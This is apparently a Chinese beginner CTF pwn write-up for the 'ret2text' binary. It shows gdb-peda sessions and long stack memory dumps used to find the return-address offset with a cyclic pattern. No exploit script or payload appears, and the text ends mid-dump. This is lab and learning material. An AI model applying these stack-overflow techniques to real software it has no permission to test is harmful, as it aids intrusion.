pwn，获取系统权限，入门题，cyclic

https://blog.csdn.net/SanOrintea/article/details/82288959 大部分还是按照这个来的，就是关于数前面有多少个字符的时候，这个博客是用cyclic -l来数的，但是我在gdb中运行这个命令的时候显示有错误， 我觉得可能是因为那个博客是pwndbg，我是gdb-peda，所以，我就是列了这200个字符的规律，数了一下，当然按照下面x/200xw这种方法也可以数出来   在ida中 search->text  找到地址 也可以在左边直接找main

ningan@ubuntu:~/anan/test$ ./ret2text There is something amazing here, do you know anything? 123456 Maybe I will tell you next time !ningan@ubuntu:~/anan/test$  ningan@ubuntu:~/anan/test$ ningan@ubuntu:~/anan/test$ cyclic 200 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab ningan@ubuntu:~/anan/test$  ningan@ubuntu:~/anan/test$ gdb -q ret2text Traceback (most recent call last):   File "/home/ningan/pwndbg/gdbinit.py", line 36, in <module>     import pwndbg # isort:skip   File "/home/ningan/pwndbg/pwndbg/__init__.py", line 19, in <module>     import pwndbg.commands.aslr   File "/home/ningan/pwndbg/pwndbg/commands/aslr.py", line 24, in <module>     def aslr(state=None):   File "/home/ningan/pwndbg/pwndbg/commands/__init__.py", line 298, in __call__     return _ArgparsedCommand(self.parser, function)   File "/home/ningan/pwndbg/pwndbg/commands/__init__.py", line 267, in __init__     super(_ArgparsedCommand, self).__init__(function, command_name=command_name, *a, **kw)   File "/home/ningan/pwndbg/pwndbg/commands/__init__.py", line 61, in __init__     raise Exception('Cannot override non-whitelisted built-in command "%s"' % command_name) Exception: Cannot override non-whitelisted built-in command "aslr" Reading symbols from ret2text...done. Python Exception <class 'AttributeError'> 'module' object has no attribute 'commands':  gdb-peda$ run Starting program: /home/ningan/anan/test/ret2text  Python Exception <class 'AttributeError'> 'module' object has no attribute 'commands':  Python Exception <class 'AttributeError'> 'module' object has no attribute 'commands':  Python Exception <class 'AttributeError'> 'module' object has no attribute 'commands':  Python Exception <class 'AttributeError'> 'module' object has no attribute 'commands':  Python Exception <class 'AttributeError'> 'module' object has no attribute 'commands':  Python Exception <class 'AttributeError'> 'module' object has no attribute 'commands':  Python Exception <class 'AttributeError'> 'module' object has no attribute 'commands':  There is something amazing here, do you know anything? aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab Maybe I will tell you next time ! Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0  EBX: 0xf7fbc000 --> 0x1acda8  ECX: 0x21 ('!') EDX: 0xf7fbd898 --> 0x0  ESI: 0x0  EDI: 0x0  EBP: 0x62616163 ('caab') ESP: 0xffffd140 ("eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") EIP: 0x62616164 ('daab') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x62616164 [------------------------------------stack-------------------------------------] 0000| 0xffffd140 ("eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") 0004| 0xffffd144 ("faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") 0008| 0xffffd148 ("gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") 0012| 0xffffd14c ("haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") 0016| 0xffffd150 ("iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") 0020| 0xffffd154 ("jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") 0024| 0xffffd158 ("kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") 0028| 0xffffd15c ("laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x62616164 in ?? () Python Exception <class 'AttributeError'> 'module' object has no attribute 'commands':  gdb-peda$ x/200xw 0xffffd140 0xffffd140:    0x62616165    0x62616166    0x62616167    0x62616168 0xffffd150:    0x62616169    0x6261616a    0x6261616b    0x6261616c 0xffffd160:    0x6261616d    0x6261616e    0x6261616f    0x62616170 0xffffd170:    0x62616171    0x62616172    0x62616173    0x62616174 0xffffd180:    0x62616175    0x62616176    0x62616177    0x62616178 0xffffd190:    0x62616179    0xf7ff0600    0xf7e28a09    0xf7ffd000 0xffffd1a0:    0x00000001    0x08048500    0x00000000    0x08048521 0xffffd1b0:    0x08048648    0x00000001    0xffffd1d4    0x080486d0 0xffffd1c0:    0x08048740    0xf7feb300    0xffffd1cc    0x0000001c 0xffffd1d0:    0x00000001    0xffffd392    0x00000000    0xffffd3b2 0xffffd1e0:    0xffffd3bd    0xffffd3cf    0xffffd401    0xffffd412 0xffffd1f0:    0xffffd428    0xffffd45d    0xffffd46e    0xffffd47e 0xffffd200:    0xffffd489    0xffffd49b    0xffffd4cf    0xffffd513 0xffffd210:    0xffffd542    0xffffd54e    0xffffda6f    0xffffdaa9 0xffffd220:    0xffffdadd    0xffffdb0d    0xffffdb40    0xffffdb4c 0xffffd230:    0xffffdb90    0xffffdba7    0xffffdc05    0xffffdc14 0xffffd240:    0xffffdc35    0xffffdc47    0xffffdc62    0xffffdc74 0xffffd250:    0xffffdc88    0xffffdc99    0xffffdcb0    0xffffdce6 0xffffd260:    0xffffdcf5    0xffffdd12    0xffffdd24    0xffffdd2d 0xffffd270:    0xffffdd3f    0xffffdd59    0xffffdd61    0xffffdd70 0xffffd280:    0xffffdd82    0xffffdd91    0xffffddbd    0xffffddcf 0xffffd290:    0xffffddde    0xffffddfe    0xffffde3a    0xffffde89 0xffffd2a0:    0xffffde9b    0xffffdebb    0xffffded0    0xffffdef2 0xffffd2b0:    0xffffdf01    0xffffdf0c    0xffffdf2b    0xffffdf3e 0xffffd2c0:    0xffffdf58    0xffffdf7a    0xffffdf9b    0xffffdfbf 0xffffd2d0:    0x00000000    0x00000020    0xf7fdacd0    0x00000021 0xffffd2e0:    0xf7fda000    0x00000010    0x078bfbff    0x00000006 0xffffd2f0:    0x00001000    0x00000011    0x00000064    0x00000003 0xffffd300:    0x08048034    0x00000004    0x00000020    0x00000005 0xffffd310:    0x00000009    0x00000007    0xf7fdc000    0x00000008 0xffffd320:    0x00000000    0x00000009    0x08048500    0x0000000b 0xffffd330:    0x000003e8    0x0000000c    0x000003e8    0x0000000d 0xffffd340:    0x000003e8    0x0000000e    0x000003e8    0x00000017 0xffffd350:    0x00000000    0x00000019    0xffffd37b    0x0000001f 0xffffd360:    0xffffdfd8    0x0000000f    0xffffd38b    0x00000000 0xffffd370:    0x00000000    0x00000000    0x10000000    0x2235c85a 0xffffd380:    0x26079adc    0xd3edc5de    0x69c74ecd    0x00363836 0xffffd390:    0x682f0000    0x2f656d6f    0x676e696e    0x612f6e61 0xffffd3a0:    0x2f6e616e    0x74736574    0x7465722f    0x78657432 0xffffd3b0:    0x44580074    0x54565f47    0x373d524e    0x47445800 0xffffd3c0:    0x5345535f    0x4e4f4953    0x3d44495f    0x58003263 0xffffd3d0:    0x475f4744    0x54454552    0x445f5245    0x5f415441 0xffffd3e0:    0x3d524944    0x7261762f    0x62696c2f    0x67696c2f 0xffffd3f0:    0x6d647468    0x7461642d    0x696e2f61    0x6e61676e 0xffffd400:    0x4c455300    0x58554e49    0x494e495f    0x45593d54 0xffffd410:    0x4c430053    0x45545455    0x4d495f52    0x444f4d5f 0xffffd420:    0x3d454c55    0x006d6978    0x5f475047    0x4e454741 0xffffd430:    0x4e495f54    0x2f3d4f46    0x2f6e7572    0x72657375 0xffffd440:    0x3030312f    0x656b2f30    0x6e697279    0x6a4d2d67 0xffffd450:    0x41757347    0x6770672f    0x313a303a    0x45545600 gdb-peda$ x/200xw 0xffffd120 0xffffd120:    0x61616176    0x61616177    0x61616178    0x61616179 0xffffd130:    0x6261617a    0x62616162    0x62616163    0x62616164 0xffffd140:    0x62616165    0x62616166    0x62616167    0x62616168 0xffffd150:    0x62616169    0x6261616a    0x6261616b    0x6261616c 0xffffd160:    0x6261616d    0x6261616e    0x6261616f    0x62616170 0xffffd170:    0x62616171    0x62616172    0x62616173    0x62616174 0xffffd180:    0x62616175    0x62616176    0x62616177    0x62616178 0xffffd190:    0x62616179    0xf7ff0600    0xf7e28a09    0xf7ffd000 0xffffd1a0:    0x00000001    0x08048500    0x00000000    0x08048521 0xffffd1b0:    0x08048648    0x00000001    0xffffd1d4    0x080486d0 0xffffd1c0:    0x08048740    0xf7feb300    0xffffd1cc    0x0000001c 0xffffd1d0:    0x00000001    0xffffd392    0x00000000    0xffffd3b2 0xffffd1e0:    0xffffd3bd    0xffffd3cf    0xffffd401    0xffffd412 0xffffd1f0:    0xffffd428    0xffffd45d    0xffffd46e    0xffffd47e 0xffffd200:    0xffffd489    0xffffd49b    0xffffd4cf    0xffffd513 0xffffd210:    0xffffd542    0xffffd54e    0xffffda6f    0xffffdaa9 0xffffd220:    0xffffdadd    0xffffdb0d    0xffffdb40    0xffffdb4c 0xffffd230:    0xffffdb90    0xffffdba7    0xffffdc05    0xffffdc14 0xffffd240:    0xffffdc35    0xffffdc47    0xffffdc62    0xffffdc74 0xffffd250:    0xffffdc88    0xffffdc99    0xffffdcb0    0xffffdce6 0xffffd260:    0xffffdcf5    0xffffdd12    0xffffdd24    0xffffdd2d 0xffffd270:    0xffffdd3f    0xffffdd59    0xffffdd61    0xffffdd70 0xffffd280:    0xffffdd82    0xffffdd91    0xffffddbd    0xffffddcf 0xffffd290:    0xffffddde    0xffffddfe    0xffffde3a    0xffffde89 0xffffd2a0:    0xffffde9b    0xffffdebb    0xffffded0    0xffffdef2 0xffffd2b0:    0xffffdf01    0xffffdf0c    0xffffdf2b    0xffffdf3e 0xffffd2c0:    0xffffdf58    0xffffdf7a    0xffffdf9b    0xffffdfbf 0xffffd2d0:    0x00000000    0x00000020    0xf7fdacd0    0x00000021 0xffffd2e0:    0xf7fda000    0x00000010    0x078bfbff    0x00000006 0xffffd2f0:    0x00001000    0x00000011    0x00000064    0x00000003 0xffffd300:    0x08048034    0x00000004    0x00000020    0x00000005 0xffffd310:    0x00000009    0x00000007    0xf7fdc000    0x00000008 0xffffd320:    0x00000000    0x00000009    0x08048500    0x0000000b 0xffffd330:    0x000003e8    0x0000000c    0x000003e8    0x0000000d 0xffffd340:    0x000003e8    0x0000000e    0x000003e8    0x00000017 0xffffd350:    0x00000000    0x00000019    0xffffd37b    0x0000001f 0xffffd360:    0xffffdfd8    0x0000000f    0xffffd38b    0x00000000 0xffffd370:    0x00000000    0x00000000    0x10000000    0x2235c85a 0xffffd380:    0x26079adc    0xd3edc5de    0x69c74ecd    0x00363836 0xffffd390:    0x682f0000    0x2f656d6f    0x676e696e    0x612f6e61 0xffffd3a0:    0x2f6e616e    0x74736574    0x7465722f    0x78657432 0xffffd3b0:    0x44580074    0x54565f47    0x373d524e    0x47445800 0xffffd3c0:    0x5345535f    0x4e4f4953    0x3d44495f    0x58003263 0xffffd3d0:    0x475f4744    0x54454552    0x445f5245    0x5f415441 0xffffd3e0:    0x3d524944    0x7261762f    0x62696c2f    0x67696c2f 0xffffd3f0:    0x6d647468    0x7461642d    0x696e2f61    0x6e61676e 0xffffd400:    0x4c455300    0x58554e49    0x494e495f    0x45593d54 0xffffd410:    0x4c430053    0x45545455    0x4d495f52    0x444f4d5f 0xffffd420:    0x3d454c55    0x006d6978    0x5f475047    0x4e454741 0xffffd430:    0x4e495f54    0x2f3d4f46    0x2f6e7572    0x72657375 gdb-peda$ p *0xffffd13c $1 = 0x62616164 gdb-peda$ x/200xw 0xffffd100 0xffffd100:    0x6161616e    0x6161616f    0x61616170    0x61616171 0xffffd110:    0x61616172    0x61616173    0x61616174    0x61616175 0xffffd120:    0x61616176    0x61616177    0x61616178    0x61616179 0xffffd130:    0x6261617a    0x62616162    0x62616163    0x62616164 0xffffd140:    0x62616165    0x62616166    0x62616167    0x62616168 0xffffd150:    0x62616169    0x6261616a    0x6261616b    0x6261616c 0xffffd160:    0x6261616d    0x6261616e    0x6261616f    0x62616170 0xffffd170:    0x62616171    0x62616172    0x62616173    0x62616174 0xffffd180:    0x62616175    0x62616176    0x62616177    0x62616178 0xffffd190:    0x62616179    0xf7ff0600    0xf7e28a09    0xf7ffd000 0xffffd1a0:    0x00000001    0x08048500    0x00000000    0x08048521 0xffffd1b0:    0x08048648    0x00000001    0xffffd1d4    0x080486d0 0xffffd1c0:    0x08048740    0xf7feb300    0xffffd1cc    0x0000001c 0xffffd1d0:    0x00000001    0xffffd392    0x00000000    0xffffd3b2 0xffffd1e0:    0xffffd3bd    0xffffd3cf    0xffffd401    0xffffd412 0xffffd1f0:    0xffffd428    0xffffd45d    0xffffd46e    0xffffd47e 0xffffd200:    0xffffd489    0xffffd49b    0xffffd4cf    0xffffd513 0xffffd210:    0xffffd542    0xffffd54e    0xffffda6f    0xffffdaa9 0xffffd220:    0xffffdadd    0xffffdb0d    0xffffdb40    0xffffdb4c 0xffffd230:    0xffffdb90    0xffffdba7    0xffffdc05    0xffffdc14 0xffffd240:    0xffffdc35    0xffffdc47    0xffffdc62    0xffffdc74 0xffffd250:    0xffffdc88    0xffffdc99    0xffffdcb0    0xffffdce6 0xffffd260:    0xffffdcf5    0xffffdd12    0xffffdd24    0xffffdd2d 0xffffd270:    0xffffdd3f    0xffffdd59    0xffffdd61    0xffffdd70 0xffffd280:    0xffffdd82    0xffffdd91    0xffffddbd    0xffffddcf 0xffffd290:    0xffffddde    0xffffddfe    0xffffde3a    0xffffde89 0xffffd2a0:    0xffffde9b    0xffffdebb    0xffffded0    0xffffdef2 0xffffd2b0:    0xffffdf01    0xffffdf0c    0xffffdf2b    0xffffdf3e 0xffffd2c0:    0xffffdf58    0xffffdf7a    0xffffdf9b    0xffffdfbf 0xffffd2d0:    0x00000000    0x00000020    0xf7fdacd0    0x00000021 0xffffd2e0:    0xf7fda000    0x00000010    0x078bfbff    0x00000006 0xffffd2f0:    0x00001000    0x00000011    0x00000064    0x00000003 0xffffd300:    0x08048034    0x00000004    0x00000020    0x00000005 0xffffd310:    0x00000009    0x00000007    0xf7fdc000    0x00000008 0xffffd320:    0x00000000    0x00000009    0x08048500    0x0000000b 0xffffd330:    0x000003e8    0x0000000c    0x000003e8    0x0000000d 0xffffd340:    0x000003e8    0x0000000e    0x000003e8    0x00000017 0xffffd350:    0x00000000    0x00000019    0xffffd37b    0x0000001f 0xffffd360:    0xffffdfd8    0x0000000f    0xffffd38b    0x00000000 0xffffd370:    0x00000000    0x00000000    0x10000000    0x2235c85a 0xffffd380:    0x26079adc    0xd3edc5de    0x69c74ecd    0x00363836 0xffffd390:    0x682f0000    0x2f656d6f    0x676e696e    0x612f6e61 0xffffd3a0:    0x2f6e616e    0x74736574    0x7465722f    0x78657432 0xffffd3b0:    0x44580074    0x54565f47    0x373d524e    0x47445800 0xffffd3c0:    0x5345535f    0x4e4f4953    0x3d44495f    0x58003263 0xffffd3d0:    0x475f4744    0x54454552    0x445f5245    0x5f415441 0xffffd3e0:    0x3d524944    0x7261762f    0x62696c2f    0x67696c2f 0xffffd3f0:    0x6d647468    0x7461642d    0x696e2f61    0x6e61676e 0xffffd400:    0x4c455300    0x58554e49    0x494e495f    0x45593d54 0xffffd410:    0x4c430053    0x45545455    0x4d495f52    0x444f4d5f gdb-peda$ x/200xw 0xffffd0f0 0xffffd0f0:    0x6161616a    0x6161616b    0x6161616c    0x6161616d 0xffffd100:    0x6161616e    0x6161616f    0x61616170    0x61616171 0xffffd110:    0x61616172    0x61616173    0x61616174    0x61616175 0xffffd120:    0x61616176    0x61616177    0x61616178    0x61616179 0xffffd130:    0x6261617a    0x62616162    0x62616163    0x62616164 0xffffd140:    0x62616165    0x62616166    0x62616167    0x62616168 0xffffd150:    0x62616169    0x6261616a    0x6261616b    0x6261616c 0xffffd160:    0x6261616d    0x6261616e    0x6261616f    0x62616170 0xffffd170:    0x62616171    0x62616172    0x62616173    0x62616174 0xffffd180:    0x62616175    0x62616176    0x62616177    0x62616178 0xffffd190:    0x62616179    0xf7ff0600    0xf7e28a09    0xf7ffd000 0xffffd1a0:    0x00000001    0x08048500    0x00000000    0x08048521 0xffffd1b0:    0x08048648    0x00000001    0xffffd1d4    0x080486d0 0xffffd1c0:    0x08048740    0xf7feb300    0xffffd1cc    0x0000001c 0xffffd1d0:    0x00000001    0xffffd392    0x00000000    0xffffd3b2 0xffffd1e0:    0xffffd3bd    0xffffd3cf    0xffffd401    0xffffd412 0xffffd1f0:    0xffffd428    0xffffd45d    0xffffd46e    0xffffd47e 0xffffd200:    0xffffd489    0xffffd49b    0xffffd4cf    0xffffd513 0xffffd210:    0xffffd542    0xffffd54e    0xffffda6f    0xffffdaa9 0xffffd220:    0xffffdadd    0xffffdb0d    0xffffdb40    0xffffdb4c 0xffffd230:    0xffffdb90    0xffffdba7    0xffffdc05    0xffffdc14 0xffffd240:    0xffffdc35    0xffffdc47    0xffffdc62    0xffffdc74 0xffffd250:    0xffffdc88    0xffffdc99    0xffffdcb0    0xffffdce6 0xffffd260:    0xffffdcf5    0xffffdd12    0xffffdd24    0xffffdd2d 0xffffd270:    0xffffdd3f    0xffffdd59    0xffffdd61    0xffffdd70 0xffffd280:    0xffffdd82    0xffffdd91    0xffffddbd    0xffffddcf 0xffffd290:    0xffffddde    0xffffddfe    0xffffde3a    0xffffde89 0xffffd2a0:    0xffffde9b    0xffffdebb    0xffffded0    0xffffdef2 0xffffd2b0:    0xffffdf01    0xffffdf0c    0xffffdf2b    0xffffdf3e 0xffffd2c0:    0xffffdf58    0xffffdf7a    0xffffdf9b    0xffffdfbf 0xffffd2d0:    0x00000000    0x00000020    0xf7fdacd0    0x00000021 0xffffd2e0:    0xf7fda000    0x00000010    0x078bfbff    0x00000006 0xffffd2f0:    0x00001000    0x00000011    0x00000064    0x00000003 0xffffd300:    0x08048034    0x00000004    0x00000020    0x00000005 0xffffd310:    0x00000009    0x00000007    0xf7fdc000    0x00000008 0xffffd320:    0x00000000    0x00000009    0x08048500    0x0000000b 0xffffd330:    0x000003e8    0x0000000c    0x000003e8    0x0000000d 0xffffd340:    0x000003e8    0x0000000e    0x000003e8    0x00000017 0xffffd350:    0x00000000    0x00000019    0xffffd37b    0x0000001f 0xffffd360:    0xffffdfd8    0x0000000f    0xffffd38b    0x00000000 0xffffd370:    0x00000000    0x00000000    0x10000000    0x2235c85a 0xffffd380:    0x26079adc    0xd3edc5de    0x69c74ecd    0x00363836 0xffffd390:    0x682f0000    0x2f656d6f    0x676e696e    0x612f6e61 0xffffd3a0:    0x2f6e616e    0x74736574    0x7465722f    0x78657432 0xffffd3b0:    0x44580074    0x54565f47    0x373d524e    0x47445800 0xffffd3c0:    0x5345535f    0x4e4f4953    0x3d44495f    0x58003263 0xffffd3d0:    0x475f4744    0x54454552    0x445f5245    0x5f415441 0xffffd3e0:    0x3d524944    0x7261762f    0x62696c2f    0x67696c2f 0xffffd3f0:    0x6d647468    0x7461642d    0x696e2f61    0x6e61676e 0xffffd400:    0x4c455300    0x58554e49    0x494e495f    0x45593d54 gdb-peda$ x/200xw 0xffffd0d0 0xffffd0d0:    0x61616162    0x61616163    0x61616164    0x61616165 0xffffd0e0:    0x61616166    0x61616167    0x61616168    0x61616169 0xffffd0f0:    0x6161616a    0x6161616b    0x6161616c    0x6161616d 0xffffd100:    0x6161616e    0x6161616f    0x61616170    0x61616171 0xffffd110:    0x61616172    0x61616173    0x61616174    0x61616175 0xffffd120:    0x61616176    0x61616177    0x61616178    0x61616179 0xffffd130:    0x6261617a    0x62616162    0x62616163    0x62616164 0xffffd140:    0x62616165    0x62616166    0x62616167    0x62616168 0xffffd150:    0x62616169    0x6261616a    0x6261616b    0x6261616c 0xffffd160:    0x6261616d    0x6261616e    0x6261616f    0x62616170 0xffffd170:    0x62616171    0x62616172    0x62616173    0x62616174 0xffffd180:    0x62616175    0x62616176    0x62616177    0x62616178 0xffffd190:    0x62616179    0xf7ff0600    0xf7e28a09    0xf7ffd000 0xffffd1a0:    0x00000001    0x08048500    0x00000000    0x08048521 0xffffd1b0:    0x08048648    0x00000001    0xffffd1d4    0x080486d0 0xffffd1c0:    0x08048740    0xf7feb300    0xffffd1cc    0x0000001c 0xffffd1d0:    0x00000001    0xffffd392    0x00000000    0xffffd3b2 0xffffd1e0:    0xffffd3bd    0xffffd3cf    0xffffd401    0xffffd412 0xffffd1f0:    0xffffd428    0xffffd45d    0xffffd46e    0xffffd47e 0xffffd200:    0xffffd489    0xffffd49b    0xffffd4cf    0xffffd513 0xffffd210:    0xffffd542    0xffffd54e    0xffffda6f    0xffffdaa9 0xffffd220:    0xffffdadd    0xffffdb0d    0xffffdb40    0xffffdb4c 0xffffd230:    0xffffdb90    0xffffdba7    0xffffdc05    0xffffdc14 0xffffd240:    0xffffdc35    0xffffdc47    0xffffdc62    0xffffdc74 0xffffd250:    0xffffdc88    0xffffdc99    0xffffdcb0    0xffffdce6 0xffffd260:    0xffffdcf5    0xffffdd12    0xffffdd24    0xffffdd2d 0xffffd270:    0xffffdd3f    0xffffdd59    0xffffdd61    0xffffdd70 0xffffd280:    0xffffdd82    0xffffdd91    0xffffddbd    0xffffddcf 0xffffd290:    0xffffddde    0xffffddfe    0xffffde3a    0xffffde89 0xffffd2a0:    0xffffde9b    0xffffdebb    0xffffded0    0xffffdef2 0xffffd2b0:    0xffffdf01    0xffffdf0c    0xffffdf2b    0xffffdf3e 0xffffd2c0:    0xffffdf58    0xffffdf7a    0xffffdf9b    0xffffdfbf 0xffffd2d0:    0x00000000    0x00000020    0xf7fdacd0    0x00000021 0xffffd2e0:    0xf7fda000    0x00000010    0x078bfbff    0x00000006 0xffffd2f0:    0x00001000    0x00000011    0x00000064    0x00000003 0xffffd300:    0x08048034    0x00000004    0x00000020    0x00000005 0xffffd310:    0x00000009    0x00000007    0xf7fdc000    0x00000008 0xffffd320:    0x00000000    0x00000009    0x08048500    0x0000000b 0xffffd330:    0x000003e8    0x0000000c    0x000003e8    0x0000000d 0xffffd340:    0x000003e8    0x0000000e    0x000003e8    0x00000017 0xffffd350:    0x00000000    0x00000019    0xffffd37b    0x0000001f 0xffffd360:    0xffffdfd8    0x0000000f    0xffffd38b    0x00000000 0xffffd370:    0x00000000    0x00000000    0x10000000    0x2235c85a 0xffffd380:    0x26079adc    0xd3edc5de    0x69c74ecd    0x00363836 0xffffd390:    0x682f0000    0x2f656d6f    0x676e696e    0x612f6e61 0xffffd3a0:    0x2f6e616e    0x74736574    0x7465722f    0x78657432 0xffffd3b0:    0x44580074    0x54565f47    0x373d524e    0x47445800 0xffffd3c0:    0x5345535f    0x4e4f4953    0x3d44495f    0x58003263 0xffffd3d0:    0x475f4744    0x54454552    0x445f5245    0x5f415441 0xffffd3e0:    0x3d524944    0x7261762f    0x62696c2f    0x67696c2f gdb-peda$ x/200xw 0xffffd0c0 0xffffd0c0:    0xffffd174    0xffffd0e8    0xffffd0e0    0x61616161 0xffffd0d0:    0x61616162    0x61616163    0x61616164    0x61616165 0xffffd0e0:    0x61616166    0x61616167    0x61616168    0x61616169 0xffffd0f0:    0x6161616a    0x6161616b    0x6161616c    0x6161616d 0xffffd100:    0x6161616e    0x6161616f    0x61616170    0x61616171 0xffffd110:    0x61616172    0x61616173    0x61616174    0x61616175 0xffffd120:    0x61616176    0x61616177    0x61616178    0x61616179 0xffffd130:    0x6261617a    0x62616162    0x62616163    0x62616164 0xffffd140:    0x62616165    0x62616166    0x62616167    0x62616168 0xffffd150:    0x62616169    0x6261616a    0x6261616b    0x6261616c 0xffffd160:    0x6261616d    0x6261616e    0x6261616f    0x62616170 0xffffd170:    0x62616171    0x62616172    0x62616173    0x62616174 0xffffd180:    0x62616175    0x62616176    0x62616177    0x62616178 0xffffd190:    0x62616179    0xf7ff0600    0xf7e28a09    0xf7ffd000 0xffffd1a0:    0x00000001    0x08048500    0x00000000    0x08048521 0xffffd1b0:    0x08048648    0x00000001    0xffffd1d4    0x080486d0 0xffffd1c0:    0x08048740    0xf7feb300    0xffffd1cc    0x0000001c 0xffffd1d0:    0x00000001    0xffffd392    0x00000000    0xffffd3b2 0xffffd1e0:    0xffffd3bd    0xffffd3cf    0xffffd401    0xffffd412 0xffffd1f0:    0xffffd428    0xffffd45d    0xffffd46e    0xffffd47e 0xffffd200:    0xffffd489    0xffffd49b    0xffffd4cf    0xffffd513 0xffffd210:    0xffffd542    0xffffd54e    0xffffda6f    0xffffdaa9 0xffffd220:    0xffffdadd    0xffffdb0d    0xffffdb40    0xffffdb4c 0xffffd230:    0xffffdb90    0xffffdba7    0xffffdc05    0xffffdc14 0xffffd240:    0xffffdc35    0xffffdc47    0xffffdc62    0xffffdc74 0xffffd250:    0xffffdc88    0xffffdc99    0xffffdcb0    0xffffdce6 0xffffd260:    0xffffdcf5    0xffffdd12    0xffffdd24    0xffffdd2d 0xffffd270:    0xffffdd3f    0xffffdd59    0xffffdd61    0xffffdd70 0xffffd280:    0xffffdd82    0xffffdd91    0xffffddbd    0xffffddcf 0xffffd290:    0xffffddde    0xffffddfe    0xffffde3a    0xffffde89 0xffffd2a0:    0xffffde9b    0xffffdebb    0xffffded0    0xffffdef2 0xffffd2b0:    0xffffdf01    0xffffdf0c    0xffffdf2b    0xffffdf3e 0xffffd2c0:    0xffffdf58    0xffffdf7a    0xffffdf9b    0xffffdfbf 0xffffd2d0:    0x00000000    0x00000020    0xf7fdacd0    0x00000021 0xffffd2e0:    0xf7fda000    0x00000010    0x078bfbff    0x00000006 0xffffd2f0:    0x00001000    0x00000011    0x00000064    0x00000003 0xffffd300:    0x08048034    0x00000004    0x00000020    0x00000005 0xffffd310:    0x00000009    0x00000007    0xf7fdc000    0x00000008 0xffffd320:    0x00000000    0x00000009    0x08048500    0x0000000b 0xffffd330:    0x000003e8    0x0000000c    0x000003e8    0x0000000d 0xffffd340:    0x000003e8    0x0000000e    0x000003e8    0x00000017 0xffffd350:    0x00000000    0x00000019    0xffffd37b    0x0000001f 0xffffd360:    0xffffdfd8    0x0000000f    0xffffd38b    0x00000000 0xffffd370:    0x00000000    0x00000000    0x10000000    0x2235c85a 0xffffd380:    0x26079adc    0xd3edc5de    0x69c74ecd    0x00363836 0xffffd390:    0x682f0000    0x2f656d6f    0x676e696e    0x612f6e61 0xffffd3a0:    0x2f6e616e    0x74736574    0x7465722f    0x78657432 0xffffd3b0:    0x44580074    0x54565f47    0x373d524e    0x47445800 0xffffd3c0:    0x5345535f    0x4e4f4953    0x3d44495f    0x58003263 0xffffd3d0:    0x475f4744    0x54454552    0x445f5245    0x5f415441 gdb-peda$  0xffffd3e0:    0x3d524944    0x7261762f    0x62696c2f    0x67696c2f 0xffffd3f0:    0x6d647468    0x7461642d    0x696e2f61    0x6e61676e 0xffffd400:    0x4c455300    0x58554e49    0x494e495f    0x45593d54 0xffffd410:    0x4c430053    0x45545455    0x4d495f52    0x444f4d5f 0xffffd420:    0x3d454c55    0x006d6978    0x5f475047    0x4e454741 0xffffd430:    0x4e495f54    0x2f3d4f46    0x2f6e7572    0x72657375 0xffffd440:    0x3030312f    0x656b2f30    0x6e697279    0x6a4d2d67 0xffffd450:    0x41757347    0x6770672f    0x313a303a    0x45545600 0xffffd460:    0x5245565f    0x4e4f4953    0x3034333d    0x48530039 0xffffd470:    0x3d4c4c45    0x6e69622f    0x7361622f    0x45540068 0xffffd480:    0x783d4d52    0x6d726574    0x4e495700    0x49574f44 0xffffd490:    0x30363d44    0x34323238    0x47003231    0x454d4f4e 0xffffd4a0:    0x59454b5f    0x474e4952    0x4e4f435f    0x4c4f5254 0xffffd4b0:    0x75722f3d    0x73752f6e    0x312f7265    0x2f303030 0xffffd4c0:    0x7279656b    0x2d676e69    0x73476a4d    0x55004175 0xffffd4d0:    0x41545350    0x535f5452    0x49535345    0x753d4e4f 0xffffd4e0:    0x3a78696e    0x74736261    0x74636172    0x6f632f3d 0xffffd4f0:    0x62752f6d    0x75746e75    0x7370752f    0x74726174 0xffffd500:    0x7365732d    0x6e6f6973    0x3030312f    0x31322f30 0xffffd510:    0x47003533    0x4d5f4b54    0x4c55444f    0x6f3d5345 0xffffd520:    0x6c726576    0x732d7961    0x6c6f7263    0x7261626c 0xffffd530:    0x696e753a    0x672d7974    0x6d2d6b74    0x6c75646f 0xffffd540:    0x53550065    0x6e3d5245    0x61676e69    0x534c006e 0xffffd550:    0x4c4f435f    0x3d53524f    0x303d7372    0x3d69643a 0xffffd560:    0x333b3130    0x6e6c3a34    0x3b31303d    0x6d3a3633 0xffffd570:    0x30303d68    0x3d69703a    0x333b3034    0x6f733a33 0xffffd580:    0x3b31303d    0x643a3533    0x31303d6f    0x3a35333b 0xffffd590:    0x343d6462    0x33333b30    0x3a31303b    0x343d6463 0xffffd5a0:    0x33333b30    0x3a31303b    0x343d726f    0x31333b30 0xffffd5b0:    0x3a31303b    0x333d7573    0x31343b37    0x3d67733a 0xffffd5c0:    0x343b3033    0x61633a33    0x3b30333d    0x743a3134 0xffffd5d0:    0x30333d77    0x3a32343b    0x333d776f    